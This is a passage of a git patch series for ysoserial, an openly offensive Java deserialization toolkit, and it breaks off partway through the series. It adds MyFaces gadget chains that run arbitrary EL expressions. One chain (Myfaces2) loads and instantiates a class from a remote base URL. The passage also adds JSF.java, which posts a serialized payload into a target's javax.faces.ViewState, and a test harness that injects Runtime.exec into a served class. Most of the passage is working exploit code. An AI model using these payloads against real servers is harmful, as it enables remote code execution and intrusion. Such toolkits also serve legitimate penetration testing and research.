{@inheritDoc} + * + * @see ysoserial.WrappedTest#getPayloadArgs() + */ + public String getPayloadArgs () { + return String.format("http://localhost:%d/", this.port) + ":Exploit"; + } + + + /** + * {@inheritDoc} + * + * @see ysoserial.WrappedTest#createCallable(java.util.concurrent.Callable) + */ + public Callable createCallable ( Callable innerCallable ) { + return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable); + } + + + private byte[] makePayloadClass () { + try { + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Exploit.class)); + final CtClass clazz = pool.get(Exploit.class.getName()); + clazz.setName("Exploit"); + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); + return clazz.toBytecode(); + } + catch ( Exception e ) { + e.printStackTrace(); + return new byte[0]; + } + } + + static final class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable { + + private Callable innerCallable; + private byte[] data; + + + /** + * @param innerCallable + */ + public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable innerCallable ) { + super(port); + this.data = data; + this.innerCallable = innerCallable; + + } + + + /** + * {@inheritDoc} + * + * @see java.util.concurrent.Callable#call() + */ + public Object call () throws Exception { + try { + setup(); + return this.innerCallable.call(); + } + finally { + cleanup(); + } + + } + + + /** + * @throws IOException + * + */ + private void setup () throws IOException { + start(NanoHTTPD.SOCKET_READ_TIMEOUT, false); + } + + + /** + * + */ + private void cleanup () { + stop(); + } + + + /** + * {@inheritDoc} + * + * @see fi.iki.elonen.NanoHTTPD#serve(fi.iki.elonen.NanoHTTPD.IHTTPSession) + */ + @Override + public Response serve ( IHTTPSession sess ) { + return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length); + } + + } + + private static class Exploit { + + } +} From bba1460cb6d010a66e34d1fcfe27c3d9214574bd Mon Sep 17 00:00:00 2001 From: mbechler Date: Sat, 5 Mar 2016 17:27:44 +0100 Subject: [PATCH 10/25] Remove wrong copyright notices, again --- src/test/java/ysoserial/CustomPayloadArgs.java | 6 ------ src/test/java/ysoserial/payloads/FileUploadTest.java | 6 ------ .../java/ysoserial/payloads/RemoteClassLoadingTest.java | 6 ------ 3 files changed, 18 deletions(-) diff --git a/src/test/java/ysoserial/CustomPayloadArgs.java b/src/test/java/ysoserial/CustomPayloadArgs.java index d8e8581..b78e6af 100644 --- a/src/test/java/ysoserial/CustomPayloadArgs.java +++ b/src/test/java/ysoserial/CustomPayloadArgs.java @@ -1,9 +1,3 @@ -/** - * © 2016 AgNO3 Gmbh & Co. KG - * All right reserved. - * - * Created: 05.03.2016 by mbechler - */ package ysoserial; diff --git a/src/test/java/ysoserial/payloads/FileUploadTest.java b/src/test/java/ysoserial/payloads/FileUploadTest.java index 09ce06d..34b876a 100644 --- a/src/test/java/ysoserial/payloads/FileUploadTest.java +++ b/src/test/java/ysoserial/payloads/FileUploadTest.java @@ -1,9 +1,3 @@ -/** - * © 2016 AgNO3 Gmbh & Co. KG - * All right reserved. - * - * Created: 05.03.2016 by mbechler - */ package ysoserial.payloads; import java.io.File; diff --git a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java index 5768ff5..7ab6be9 100644 --- a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java +++ b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java @@ -1,9 +1,3 @@ -/** - * © 2016 AgNO3 Gmbh & Co. KG - * All right reserved. - * - * Created: 05.03.2016 by mbechler - */ package ysoserial.payloads; From d6658809cf690fcdacb8ac2c5666a7cb2477b86e Mon Sep 17 00:00:00 2001 From: mbechler Date: Sat, 5 Mar 2016 17:28:44 +0100 Subject: [PATCH 11/25] Move payload annotation to annotation package. --- src/main/java/ysoserial/payloads/C3P0.java | 2 +- src/main/java/ysoserial/payloads/FileUpload1.java | 2 +- src/main/java/ysoserial/payloads/Hibernate2.java | 2 +- src/main/java/ysoserial/payloads/JRMPClient.java | 2 +- src/main/java/ysoserial/payloads/JRMPListener.java | 2 +- src/main/java/ysoserial/payloads/Jdk7u21.java | 2 +- .../java/ysoserial/{ => payloads/annotation}/PayloadTest.java | 2 +- src/test/java/ysoserial/payloads/PayloadsTest.java | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) rename src/main/java/ysoserial/{ => payloads/annotation}/PayloadTest.java (88%) diff --git a/src/main/java/ysoserial/payloads/C3P0.java b/src/main/java/ysoserial/payloads/C3P0.java index 035a7fb..36900c5 100644 --- a/src/main/java/ysoserial/payloads/C3P0.java +++ b/src/main/java/ysoserial/payloads/C3P0.java @@ -15,8 +15,8 @@ import javax.sql.PooledConnection; import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; -import ysoserial.PayloadTest; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java index db84ac7..38f926d 100644 --- a/src/main/java/ysoserial/payloads/FileUpload1.java +++ b/src/main/java/ysoserial/payloads/FileUpload1.java @@ -12,8 +12,8 @@ import org.apache.commons.fileupload.disk.DiskFileItem; import org.apache.commons.io.output.DeferredFileOutputStream; import org.apache.commons.io.output.ThresholdingOutputStream; -import ysoserial.PayloadTest; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; diff --git a/src/main/java/ysoserial/payloads/Hibernate2.java b/src/main/java/ysoserial/payloads/Hibernate2.java index 601f554..b8c1ae5 100644 --- a/src/main/java/ysoserial/payloads/Hibernate2.java +++ b/src/main/java/ysoserial/payloads/Hibernate2.java @@ -1,7 +1,7 @@ package ysoserial.payloads; -import ysoserial.PayloadTest; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import com.sun.rowset.JdbcRowSetImpl; diff --git a/src/main/java/ysoserial/payloads/JRMPClient.java b/src/main/java/ysoserial/payloads/JRMPClient.java index 093debc..e224542 100644 --- a/src/main/java/ysoserial/payloads/JRMPClient.java +++ b/src/main/java/ysoserial/payloads/JRMPClient.java @@ -10,7 +10,7 @@ import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; -import ysoserial.PayloadTest; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; diff --git a/src/main/java/ysoserial/payloads/JRMPListener.java b/src/main/java/ysoserial/payloads/JRMPListener.java index 4f05e70..0d6f599 100644 --- a/src/main/java/ysoserial/payloads/JRMPListener.java +++ b/src/main/java/ysoserial/payloads/JRMPListener.java @@ -7,7 +7,7 @@ import java.rmi.server.UnicastRemoteObject; import sun.rmi.server.ActivationGroupImpl; import sun.rmi.server.UnicastServerRef; -import ysoserial.PayloadTest; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; diff --git a/src/main/java/ysoserial/payloads/Jdk7u21.java b/src/main/java/ysoserial/payloads/Jdk7u21.java index 1645a3b..811c2e0 100755 --- a/src/main/java/ysoserial/payloads/Jdk7u21.java +++ b/src/main/java/ysoserial/payloads/Jdk7u21.java @@ -6,8 +6,8 @@ import java.util.LinkedHashSet; import javax.xml.transform.Templates; -import ysoserial.PayloadTest; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; diff --git a/src/main/java/ysoserial/PayloadTest.java b/src/main/java/ysoserial/payloads/annotation/PayloadTest.java similarity index 88% rename from src/main/java/ysoserial/PayloadTest.java rename to src/main/java/ysoserial/payloads/annotation/PayloadTest.java index 544f53a..f729988 100644 --- a/src/main/java/ysoserial/PayloadTest.java +++ b/src/main/java/ysoserial/payloads/annotation/PayloadTest.java @@ -1,4 +1,4 @@ -package ysoserial; +package ysoserial.payloads.annotation; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 4513037..bc86bd2 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -26,13 +26,13 @@ import org.junit.runners.Parameterized.Parameters; import ysoserial.CustomPayloadArgs; import ysoserial.CustomTest; import ysoserial.Deserializer; -import ysoserial.PayloadTest; import ysoserial.Serializer; import ysoserial.Throwables; import ysoserial.WrappedTest; import ysoserial.payloads.TestHarnessTest.ExecMockPayload; import ysoserial.payloads.TestHarnessTest.NoopMockPayload; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.ClassFiles; import ysoserial.secmgr.ExecCheckingSecurityManager; import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException; From 7879428d9c80f13258d0c737eed813756e8e2b88 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sat, 5 Mar 2016 19:57:38 +0100 Subject: [PATCH 12/25] Add MyFaces gadgets. Add ability to provide a custom deserializer (needed for setting up the faces context) --- pom.xml | 60 ++++- src/main/java/ysoserial/exploit/JSF.java | 68 ++++++ .../java/ysoserial/payloads/Myfaces1.java | 92 +++++++ .../java/ysoserial/payloads/Myfaces2.java | 90 +++++++ .../java/ysoserial/CustomDeserializer.java | 13 + .../java/ysoserial/payloads/MyfacesTest.java | 225 ++++++++++++++++++ .../java/ysoserial/payloads/PayloadsTest.java | 36 ++- .../payloads/RemoteClassLoadingTest.java | 15 +- 8 files changed, 579 insertions(+), 20 deletions(-) create mode 100644 src/main/java/ysoserial/exploit/JSF.java create mode 100644 src/main/java/ysoserial/payloads/Myfaces1.java create mode 100644 src/main/java/ysoserial/payloads/Myfaces2.java create mode 100644 src/test/java/ysoserial/CustomDeserializer.java create mode 100644 src/test/java/ysoserial/payloads/MyfacesTest.java diff --git a/pom.xml b/pom.xml index 66d97e2..4f1264a 100644 --- a/pom.xml +++ b/pom.xml @@ -75,12 +75,12 @@ test - org.nanohttpd - nanohttpd - 2.2.0 - test + org.nanohttpd + nanohttpd + 2.2.0 + test - + @@ -169,6 +169,16 @@ c3p0 0.9.5.2 + + javax.servlet + javax.servlet-api + 3.1.0 + + + org.apache.myfaces.core + myfaces-impl + 2.2.9 + @@ -203,5 +213,45 @@ + + + apache-el + + true + + el + apache + + + + + org.mortbay.jasper + apache-el + 8.0.27 + + + + + + juel + + + el + juel + + + + + de.odysseus.juel + juel-impl + 2.2.7 + + + de.odysseus.juel + juel-api + 2.2.7 + + + diff --git a/src/main/java/ysoserial/exploit/JSF.java b/src/main/java/ysoserial/exploit/JSF.java new file mode 100644 index 0000000..7706d58 --- /dev/null +++ b/src/main/java/ysoserial/exploit/JSF.java @@ -0,0 +1,68 @@ +package ysoserial.exploit; + + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLConnection; +import java.net.URLEncoder; + +import org.apache.commons.codec.binary.Base64; + +import ysoserial.payloads.ObjectPayload.Utils; + + +/** + * @author mbechler + * + */ +public class JSF { + + /** + * @param args + */ + public static void main ( String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JSF.class.getName() + " "); + System.exit(-1); + } + + final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); + + try { + URL u = new URL(args[ 0 ]); + + URLConnection c = u.openConnection(); + if ( ! ( c instanceof HttpURLConnection ) ) { + throw new IllegalArgumentException("Not a HTTP url"); //$NON-NLS-1$ + } + + HttpURLConnection hc = (HttpURLConnection) c; + hc.setDoOutput(true); + hc.setRequestMethod("POST"); + hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); + OutputStream os = hc.getOutputStream(); + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(bos); + oos.writeObject(payloadObject); + oos.close(); + byte[] data = bos.toByteArray(); + String requestBody = "j_id_7_SUBMIT=1&javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); + os.write(requestBody.getBytes("US-ASCII")); + os.close(); + + System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + + } + + + +} diff --git a/src/main/java/ysoserial/payloads/Myfaces1.java b/src/main/java/ysoserial/payloads/Myfaces1.java new file mode 100644 index 0000000..b0bf797 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Myfaces1.java @@ -0,0 +1,92 @@ +package ysoserial.payloads; + + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; + +import javax.el.ELContext; +import javax.el.ExpressionFactory; +import javax.el.ValueExpression; +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; + +import org.apache.myfaces.context.servlet.FacesContextImpl; +import org.apache.myfaces.context.servlet.FacesContextImplBase; +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; + +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + + +/** + * + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * Arguments: + * - an EL expression to execute + * + * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@SuppressWarnings ( { + "nls", "javadoc" +} ) +@PayloadTest(skip="Requires running MyFaces, no direct execution") +public class Myfaces1 implements ObjectPayload { + + /** + * {@inheritDoc} + * + * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) + */ + + public Object getObject ( String command ) throws Exception { + return makeExpressionPayload(command); + } + + + /** + * @param expr + * @return + * @throws NoSuchFieldException + * @throws IllegalAccessException + * @throws Exception + * @throws ClassNotFoundException + * @throws NoSuchMethodException + * @throws InstantiationException + * @throws InvocationTargetException + */ + public static Object makeExpressionPayload ( String expr ) throws NoSuchFieldException, IllegalAccessException, Exception, ClassNotFoundException, + NoSuchMethodException, InstantiationException, InvocationTargetException { + FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); + Field fEl = FacesContextImplBase.class.getDeclaredField("_elContext"); + fEl.setAccessible(true); + ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); + fEl.set(fc, elContext); + ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); + + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); + ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); //$NON-NLS-1$ + ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); + + return Gadgets.makeMap(e2, e); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Myfaces1.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/Myfaces2.java b/src/main/java/ysoserial/payloads/Myfaces2.java new file mode 100644 index 0000000..d4451dd --- /dev/null +++ b/src/main/java/ysoserial/payloads/Myfaces2.java @@ -0,0 +1,90 @@ +package ysoserial.payloads; + + + +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; + + +/** + * + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * Arguments: + * - base_url:classname + * + * Yields: + * - Instantiation of remotely loaded class + * + * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) +public class Myfaces2 implements ObjectPayload, DynamicDependencies { + + public static String[] getDependencies () { + if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.mortbay.jasper:apache-el:8.0.27", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } else if ( "juel".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } + + throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); + } + + + /** + * {@inheritDoc} + * + * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) + */ + + public Object getObject ( String command ) throws Exception { + int sep = command.lastIndexOf(':'); + if ( sep < 0 ) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ + String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; + + // if we add fewer than the actual classloaders we end up with a null entry + for ( int i = 0; i < 100; i++ ) { + expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; + } + expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; + + return Myfaces1.makeExpressionPayload(expr); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Myfaces2.class, args); + } +} diff --git a/src/test/java/ysoserial/CustomDeserializer.java b/src/test/java/ysoserial/CustomDeserializer.java new file mode 100644 index 0000000..67e212f --- /dev/null +++ b/src/test/java/ysoserial/CustomDeserializer.java @@ -0,0 +1,13 @@ +package ysoserial; + + +/** + * @author mbechler + * + */ +public interface CustomDeserializer { + + + Class getCustomDeserializer (); + +} diff --git a/src/test/java/ysoserial/payloads/MyfacesTest.java b/src/test/java/ysoserial/payloads/MyfacesTest.java new file mode 100644 index 0000000..e2d6e0b --- /dev/null +++ b/src/test/java/ysoserial/payloads/MyfacesTest.java @@ -0,0 +1,225 @@ +package ysoserial.payloads; + + +import java.beans.FeatureDescriptor; +import java.net.MalformedURLException; +import java.net.URL; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Map; + +import javax.el.BeanELResolver; +import javax.el.ELContext; +import javax.el.ELResolver; +import javax.el.MapELResolver; +import javax.faces.context.FacesContext; +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; + +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.mockito.Matchers; +import org.mockito.Mockito; +import org.mockito.invocation.InvocationOnMock; +import org.mockito.stubbing.Answer; + +import ysoserial.CustomDeserializer; +import ysoserial.Deserializer; + + +/** + * @author mbechler + * + */ +public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer { + + /** + * @param command + */ + public MyfacesTest ( String command ) { + super(command); + } + + + /** + * {@inheritDoc} + * + * @see ysoserial.CustomDeserializer#getCustomDeserializer() + */ + public Class getCustomDeserializer () { + return MyfacesDeserializer.class; + } + + /** + * need to use a custom deserializer so that the faces context gets set in the isolated class + * + * @author mbechler + * + */ + public static final class MyfacesDeserializer extends Deserializer { + + public static Class[] getExtraDependencies () { + return new Class[] { + MockRequestContext.class, MockELResolver.class + }; + } + + private static class MockRequestContext implements Answer { + + private Map attributes = new HashMap(); + + + /** + * {@inheritDoc} + * + * @see org.mockito.stubbing.Answer#answer(org.mockito.invocation.InvocationOnMock) + */ + public Object answer ( InvocationOnMock invocation ) throws Throwable { + + if ( "setAttribute".equals(invocation.getMethod().getName()) ) { + this.attributes.put(invocation.getArgumentAt(0, String.class), invocation.getArgumentAt(1, Object.class)); + return null; + } + else if ( "getAttribute".equals(invocation.getMethod().getName()) ) { + return this.attributes.get(invocation.getArgumentAt(0, String.class)); + } + return null; + } + + } + + + private static class MockELResolver extends ELResolver { + + private ServletRequest request; + + + /** + * + */ + public MockELResolver (ServletRequest req) { + this.request = req; + } + + /** + * {@inheritDoc} + * + * @see javax.el.ELResolver#getValue(javax.el.ELContext, java.lang.Object, java.lang.Object) + */ + @Override + public Object getValue ( ELContext context, Object base, Object property ) { + if ( base == null && "request".equals(property)) { + context.setPropertyResolved(true); + return this.request; + } + + return null; + } + + /** + * {@inheritDoc} + * + * @see javax.el.ELResolver#getType(javax.el.ELContext, java.lang.Object, java.lang.Object) + */ + @Override + public Class getType ( ELContext context, Object base, Object property ) { + if ( base == null && "request".equals(property)) { + context.setPropertyResolved(true); + return ServletRequest.class; + } + return null; + } + + /** + * {@inheritDoc} + * + * @see javax.el.ELResolver#setValue(javax.el.ELContext, java.lang.Object, java.lang.Object, java.lang.Object) + */ + @Override + public void setValue ( ELContext context, Object base, Object property, Object value ) { + + } + + /** + * {@inheritDoc} + * + * @see javax.el.ELResolver#isReadOnly(javax.el.ELContext, java.lang.Object, java.lang.Object) + */ + @Override + public boolean isReadOnly ( ELContext context, Object base, Object property ) { + return true; + } + + /** + * {@inheritDoc} + * + * @see javax.el.ELResolver#getFeatureDescriptors(javax.el.ELContext, java.lang.Object) + */ + @Override + public Iterator getFeatureDescriptors ( ELContext context, Object base ) { + return null; + } + + /** + * {@inheritDoc} + * + * @see javax.el.ELResolver#getCommonPropertyType(javax.el.ELContext, java.lang.Object) + */ + @Override + public Class getCommonPropertyType ( ELContext context, Object base ) { + return null; + } + + } + + /** + * @param bytes + */ + public MyfacesDeserializer ( byte[] bytes ) { + super(bytes); + } + + + @Override + public Object call () throws Exception { + java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class); + setFC.setAccessible(true); + ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader(); + Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader()); + FacesContext ctx = createMockFacesContext(); + try { + setFC.invoke(null, ctx); + return super.call(); + } + finally { + setFC.invoke(null, (FacesContext) null); + Thread.currentThread().setContextClassLoader(oldTCCL); + } + } + + + /** + * @return + * @throws MalformedURLException + */ + private static FacesContext createMockFacesContext () throws MalformedURLException { + FacesContext ctx = Mockito.mock(FacesContext.class); + CompositeELResolver cer = new CompositeELResolver(); + FacesELContext elc = new FacesELContext(cer, ctx); + ServletRequest requestMock = Mockito.mock(ServletRequest.class); + ServletContext contextMock = Mockito.mock(ServletContext.class); + URL url = new URL("file:///"); + Mockito.when(contextMock.getResource(Matchers.anyString())).thenReturn(url); + Mockito.when(requestMock.getServletContext()).thenReturn(contextMock); + Answer attrContext = new MockRequestContext(); + Mockito.when(requestMock.getAttribute(Matchers.anyString())).thenAnswer(attrContext); + Mockito.doAnswer(attrContext).when(requestMock).setAttribute(Matchers.anyString(), Matchers.any()); + cer.add(new MockELResolver(requestMock)); + cer.add(new BeanELResolver()); + cer.add(new MapELResolver()); + Mockito.when(ctx.getELContext()).thenReturn(elc); + return ctx; + } + } + +} diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index bc86bd2..036a392 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -23,6 +23,7 @@ import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import org.junit.runners.Parameterized.Parameters; +import ysoserial.CustomDeserializer; import ysoserial.CustomPayloadArgs; import ysoserial.CustomTest; import ysoserial.Deserializer; @@ -93,6 +94,7 @@ public class PayloadsTest { } String payloadCommand = command; + Class customDeserializer = null; Object wrapper = null; if ( t != null && !t.harness().isEmpty() ) { Class wrapperClass = Class.forName(t.harness()); @@ -105,11 +107,15 @@ public class PayloadsTest { if ( wrapper instanceof CustomPayloadArgs ) { payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs(); } + + if ( wrapper instanceof CustomDeserializer ) { + customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer(); + } } ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand)); - Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized); + Callable callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer); if ( wrapper instanceof WrappedTest ) { callable = ( (WrappedTest) wrapper ).createCallable(callable); } @@ -162,11 +168,11 @@ public class PayloadsTest { * @return */ private static Callable makeDeserializeCallable ( PayloadTest t, final Class[] addlClassesForClassLoader, final String[] deps, - final byte[] serialized ) { + final byte[] serialized, final Class customDeserializer ) { return new Callable() { public Object call () throws Exception { - return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader); + return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader, customDeserializer); } }; } @@ -205,7 +211,7 @@ public class PayloadsTest { } - private static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class[] classDependencies ) + static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class[] classDependencies, final Class customDeserializer ) throws Exception { File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0]; URL[] urls = new URL[jars.length]; @@ -220,13 +226,27 @@ public class PayloadsTest { byte[] classAsBytes = ClassFiles.classAsBytes(clazz); defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); } - byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class); - defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); - + byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class); + defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + + if ( customDeserializer != null ) { + + try { + Method method = customDeserializer.getMethod("getExtraDependencies"); + for ( Class extra : (Class[])method.invoke(null)) { + deserializerClassBytes = ClassFiles.classAsBytes(extra); + defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + } + } catch ( NoSuchMethodException e ) { } + + deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer); + defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + } + } }; - Class deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName()); + Class deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName()); Callable deserializer = (Callable) deserializerClass.getConstructors()[ 0 ].newInstance(serialized); final Object obj = deserializer.call(); return obj; diff --git a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java index 7ab6be9..e2f8d6f 100644 --- a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java +++ b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java @@ -20,9 +20,9 @@ import ysoserial.WrappedTest; */ public class RemoteClassLoadingTest implements WrappedTest { - private int port; + int port; private String command; - + private String className; /** * @@ -30,6 +30,7 @@ public class RemoteClassLoadingTest implements WrappedTest { public RemoteClassLoadingTest ( String command ) { this.command = command; this.port = new Random().nextInt(65535-1024)+1024; + this.className = "Exploit-" + System.currentTimeMillis(); } @@ -39,7 +40,7 @@ public class RemoteClassLoadingTest implements WrappedTest { * @see ysoserial.WrappedTest#getPayloadArgs() */ public String getPayloadArgs () { - return String.format("http://localhost:%d/", this.port) + ":Exploit"; + return String.format("http://localhost:%d/", this.port) + ":" + this.className; } @@ -53,12 +54,12 @@ public class RemoteClassLoadingTest implements WrappedTest { } - private byte[] makePayloadClass () { + protected byte[] makePayloadClass () { try { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(Exploit.class)); final CtClass clazz = pool.get(Exploit.class.getName()); - clazz.setName("Exploit"); + clazz.setName(this.className); clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); return clazz.toBytecode(); } @@ -68,7 +69,7 @@ public class RemoteClassLoadingTest implements WrappedTest { } } - static final class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable { + static class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable { private Callable innerCallable; private byte[] data; @@ -131,7 +132,7 @@ public class RemoteClassLoadingTest implements WrappedTest { } - private static class Exploit { + public static class Exploit { } } From 6bb0d80aa0be160c17862707850471a766a4b0c4 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sat, 5 Mar 2016 20:01:07 +0100 Subject: [PATCH 13/25] Some cleanup of myfaces gadgets. --- .../java/ysoserial/payloads/Myfaces1.java | 39 +++++++++++++++---- .../java/ysoserial/payloads/Myfaces2.java | 23 +---------- 2 files changed, 33 insertions(+), 29 